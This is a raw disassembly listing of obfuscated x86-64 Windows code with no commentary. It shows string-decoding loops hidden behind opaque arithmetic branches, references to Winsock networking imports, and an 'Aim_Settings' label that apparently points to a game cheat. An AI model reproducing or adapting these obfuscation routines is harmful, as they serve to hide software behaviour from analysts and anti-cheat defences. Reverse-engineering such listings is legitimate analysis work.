lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x14007eb26
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007ea6f
lea edx, [r9 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14007eae5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007ea93
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
dec r11
inc r11
jmp 0x14007e263
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007e68b
lea edx, [r9 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14007ebfe
mov byte [rbp + r11 + 0x570], dil
inc r11
jmp 0x14007e263
lea edx, [r9 + 0x40]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
add cl, dil
mov byte [rbp + r11 + 0x570], cl
add rbx, r8
jmp 0x14007ec61
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x30]
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x68
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x570], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14007ec92
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x570]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e263
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
jmp 0x14007ec61
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007e263
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x14007ebfe
movzx r9d, r11b
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x570], cl
inc r8
dec r11
inc r11
jmp 0x14007e263
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
add rbx, r8
jmp 0x14007ec61
lea rcx, [r11 + r15]
and sil, cl
mov eax, 4
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007e263
lea rcx, [r11 + r13]
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x18
add dil, cl
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x570], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x570]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e263
lea rcx, [r11 + r12]
and sil, cl
mov eax, 0x2c
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0x570]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e263
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x14007e260
add r9b, 0x18
movzx eax, r10b
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007e250
lea rcx, [rbp + 0x17e66d0]
jmp 0x14007ed5e
lea rcx, [rbp + 0x8aabd8]
jmp 0x14007ed5e
lea rcx, [rbp + 0x570]
lea rdx, [0x1401dd733]
call fcn.14003a4c0
call fcn.14000ca00
mov dword [rbp + 0x30], 0x43bf0000
mov dword [rbp + 0x34], 0x428c0000
lea rcx, [rbp + 0x30]
call fcn.14001a510
mov dword [rbp + 0x38], 0x438d0000
mov dword [rbp + 0x3c], 0x43c10000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x38]
lea rcx, str.Aim_Settings
call fcn.140009a60
mov byte [rbp + 0x2f0], 0x76
mov byte [rbp + 0x2f1], 0x4e
mov byte [rbp + 0x2f2], 0x44
mov byte [rbp + 0x2f3], gethostname
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f4], xmm0
movabs r14, 0x2245e2ebae570b28
movabs r15, 0x3474fa49210f6468
movabs r13, 0xefe93471c4614e18
movabs r12, 0x66d1a8c30b052178
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x14
jae 0x14007f990
movzx r10d, byte [rbp + r11 + 0x2f0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14007f987
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007ee5c
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x18
jmp 0x14007eea3
je 0x14007f918
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007f88c
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007f85b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007f840
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007f7fc
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007f7d4
movzx r9d, r11b
cmp r8, r11
ja 0x14007f97e
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14007eed5
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007ef20
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007f78e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007f76b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007f74e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007f733
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007f701
nop word [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14007f467
nop dword [rax]
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007f44c
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007f426
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007f400
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007f4cf
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007f3e0
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14007f3c3
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14007f3a8
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007f388
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007f356
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007ef30
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007f961
lea rcx, [r8 + 1]
cmp rbx, rcx
jb 0x14007f944
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007f11c
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007f0fd
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007f0e2
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14007f309
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14007f2c8
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14007f28a
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14007f25f
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007ef30
mov rbx, rcx
lea r8, [rcx + 6]
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x14007f230
lea rcx, [r8 + 0x400]
cmp rbx, rcx
ja 0x14007f213
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007f1f7
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14007f1da
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14007f1c2
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14007f1a7
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14007f184
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007f15b
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14007f13c
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14007ef30
mov rbx, rcx
lea r8, [rcx + 0x64]
jmp 0x14007ef30
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x14007ef20
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007eea7
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007ee30
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007f7a4
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007ee13
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
dec r11
inc r11
jmp 0x14007ee13
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x14007f816
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add rbx, r8
jmp 0x14007f873
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007f870
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007f8a5
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
jmp 0x14007f8d5
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007ee13
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x2f0], dil
inc r11
jmp 0x14007ee13
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x42
jb 0x14007f27a
lea ecx, [r9 - 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x20]
jmp 0x14007f7a4
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
cmp rbx, 0x61
jae 0x14007f6c7
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x14007f5ec
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
jmp 0x14007f299
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
lea rax, [rbx + r8]
cmp rax, 3
je 0x14007f6e5
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x14007f542
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007f2de
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007ee13
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007f8d5
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14007f8a8
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14007f873
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
add rbx, r8
jmp 0x14007f873
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007ee13
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x14007ee13
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x14007f7a4
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14007f48b
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x14007f31f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007f4c6
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007ee13
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007f4ee
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007f816
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007f51a
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
dec r11
inc r11
jmp 0x14007ee13
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007f31f
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14007f7a4
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007f56a
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007f7a4
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007f596
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
dec r11
inc r11
jmp 0x14007ee13
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007f5c2
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14007f873
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007f2de
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007f870
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007f627
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007ee13
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007f64b
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x14007f8a8
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007f677
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14007f873
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007f69f
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007f816
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007f2a4
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14007f7a4
lea edx, [r9 + 0x40]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007f816
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007f8a8
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007ee13
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x14007f8a8
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x14007f873
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14007f873
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
add r9b, 0x18
movzx eax, r10b
and al, r9b
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x2f0], cl
inc r8
dec r11
inc r11
jmp 0x14007ee13
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007ee13
movzx r9d, r11b
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
add r9b, 0x68
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
add cl, dil
mov byte [rbp + r11 + 0x2f0], cl
add rbx, r8
jmp 0x14007f873
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
add rbx, r8
jmp 0x14007f873
lea rax, [r11 + r15]
and sil, al
mov ecx, reloc.WS2_32.dll_sendto
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007ee13
lea rax, [r11 + r13]
and sil, al
mov ecx, 0x2c
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
movzx r9d, r11b
add dil, r10b
sub r9b, 0x48
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 8
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x2f0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x20
add cl, r10b
mov byte [rbp + r11 + 0x2f0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007ee13
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x48
movzx eax, byte [rbp + r11 + 0x2f0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007ee13
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
jmp 0x14007ee10
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x14007ee00
lea rcx, [rbp + 0x17b81d0]
jmp 0x14007f997
lea rcx, [rbp + 0x1528cf8]
jmp 0x14007f997
lea rcx, [rbp + 0x2f0]
xor r13d, r13d
mov dword [rsp + 0x28], r13d
lea r12, str._.3f
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x140148ea8]
movss xmm2, dword [0x1401443c0]
lea rdx, [0x1401db6b8]
call fcn.14003ffa0
mov byte [rbp + 0x310], WSASetLastError
mov byte [rbp + 0x311], 0x46
mov byte [rbp + 0x312], 0x41
mov byte [rbp + 0x313], 0x42
mov byte [rbp + 0x314], 0x4e
mov byte [rbp + 0x315], 0x75
mov byte [rbp + 0x316], 0x77
mov byte [rbp + 0x317], 0x49
mov byte [rbp + 0x318], 0x77
mov byte [rbp + 0x319], 0xd9
xor eax, eax
mov qword [rbp + 0x31a], rax
mov word [rbp + 0x322], ax
mov byte [rbp + 0x324], al
movabs rsi, 0x8ab5b42f1959c67b
movabs r15, 0xf6985cc58266b63
movabs r14, 0x2e3c916508734229
movzx edi, byte [rsp + 0x50]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop word [rax + rax]
mov r10, r13
cmp r10, 0x15
jae 0x1400804b5
movzx r9d, byte [rbp + r10 + 0x310]
mov edx, r9d
nop dword [rax]
cmp rbx, r10
ja 0x1400804ac
lea r11, [r8 + 1]
cmp rbx, r11
jae 0x14007fab0
lea rcx, [r10 + r15]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x4b
lea rcx, [r8 + 5]
jmp 0x14007faf0
je 0x140080440
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140080415
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400803fa
lea rcx, [r8 + 5]
cmp rbx, rcx
je 0x1400803d5
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14008038a
nop word [rax + rax]
cmp r8, r10
ja 0x1400804a3
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x14007fb1a
lea ecx, [r10 + 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x27
jmp 0x14007fb53
cmp rbx, r11
je 0x14008036d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140080323
cmp rbx, rcx
je 0x140080307
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140080277
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140080249
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007ffef
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007ffcf
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007ffaa
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007ff85
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14007ff65
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007ff45
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007ff26
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007fef8
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14007fb60
lea rbx, [r8 + 1]
lea r8, [rbx + 5]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140080486
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140080469
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007fcbe
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007fea4
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14007fe5a
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14007fe15
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14007fdee
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14007fb60
lea rbx, [r8 + 0x400]
lea r8, [rbx + 8]
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007fdc0
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14007fda1
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14007fd81
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14007fd62
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007fd43
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14007fd23
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14007fcfe
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14007fcd9
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x2a]
jmp 0x14007fb60
lea ecx, [r10 - 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x47
jmp 0x14007fb53
lea ecx, [r10 + 0x32]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5e
inc r8
dec r10
inc r10
jmp 0x14007fa63
lea edx, [r10 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14007fa63
lea edx, [r10 - 0x5a]
movzx eax, r9b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x14008033e
lea ecx, [r10 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x20
add rbx, r8
jmp 0x140080427
lea edx, [r10 + 0x1a]
movzx eax, r9b
and al, dl
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140080427
lea edx, [r10 + 0x54]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4c
movzx r11d, r10b
jmp 0x140080292
lea edx, [r10 - 0x72]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400802c2
lea ecx, [r10 - 0x38]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x78
movzx eax, byte [rbp + r10 + 0x310]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fa63
lea ecx, [r10 - 0x27]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x11
mov byte [rbp + r10 + 0x310], dil
inc r10
jmp 0x14007fa63
lea edx, [r10 + 0x13]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7b
add dil, dl
cmp r8, 0xa
jb 0x14007fe05
movzx r11d, r10b
lea edx, [r11 + 0x72]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x3c]
jmp 0x1400803a8
lea edx, [r10 + 0x4d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1b
add dil, dl
cmp rbx, 8
jae 0x14008020b
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14008012d
lea edx, [r10 - 0x4a]
movzx eax, r9b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007fe2c
lea edx, [r10 - 0x79]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x4f
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x42
je 0x14008022f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x1400800d5
lea edx, [r10 - 0x69]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x21
jmp 0x14007fe71
lea ecx, [r10 - 0x46]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x16
movzx eax, byte [rbp + r10 + 0x310]
add rax, r8
add r10, rax
inc r10
